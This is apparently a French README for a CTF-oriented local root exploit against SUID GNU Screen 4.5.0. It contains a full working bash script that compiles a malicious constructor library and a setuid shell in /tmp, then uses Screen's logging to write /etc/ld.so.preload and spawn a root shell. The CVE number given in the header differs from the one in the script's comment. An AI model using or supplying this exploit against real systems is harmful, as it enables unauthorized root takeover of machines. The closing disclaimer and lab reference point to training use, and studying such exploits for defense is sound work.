
Exploit d'élévation de privilèges locale pour GNU Screen 4.5.0 (CVE-2017-5618). Exploite une vulnérabilité dans la fonctionnalité de journalisation pour détourner le chargement de bibliothèques partagées et obtenir un accès root via la manipulation de ld.so.preload. Vulnérable : Screen 4.5.0 (SUID) Corrigé dans : Screen 4.6.0+
Exploitation d'élévation de privilèges locale pour GNU Screen 4.5.0 qui détourne le chargement de bibliothèques partagées pour obtenir un accès root via la manipulation de ld.so.preload.
Vulnérabilité : CVE-2017-5618
Type : Détournement de bibliothèque partagée via ld.so.preload
Affecté : GNU Screen 4.5.0 exclusivement
Corrigé dans : GNU Screen 4.6.0+
CVE: 2017-5618 🎯
Le bug : Screen 4.5.0 crée des fichiers journaux avec des permissions DANGEREUSES
La magie : Nous le trompons pour qu'il crée /etc/ld.so.preload qui charge notre bibliothèque malveillante
La charge : Shell root instantané ! 🐚
#!/bin/bash
# exploit.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# CVE-2016-8781
# tested on debian jessie (8.6) with screen 4.5.
# 0xHackers - Darke
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
Vérification de la version vulnérable de Screen.

Création du fichier et attribution des permissions nécessaires.

Accès root obtenu.

Shell root obtenu - contrôle total du système
POUR USAGE ÉDUCATIF UNIQUEMENT ! ⚠️ Ne soyez pas un script kiddie - utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester.
TryHackMe KOTH Room - Food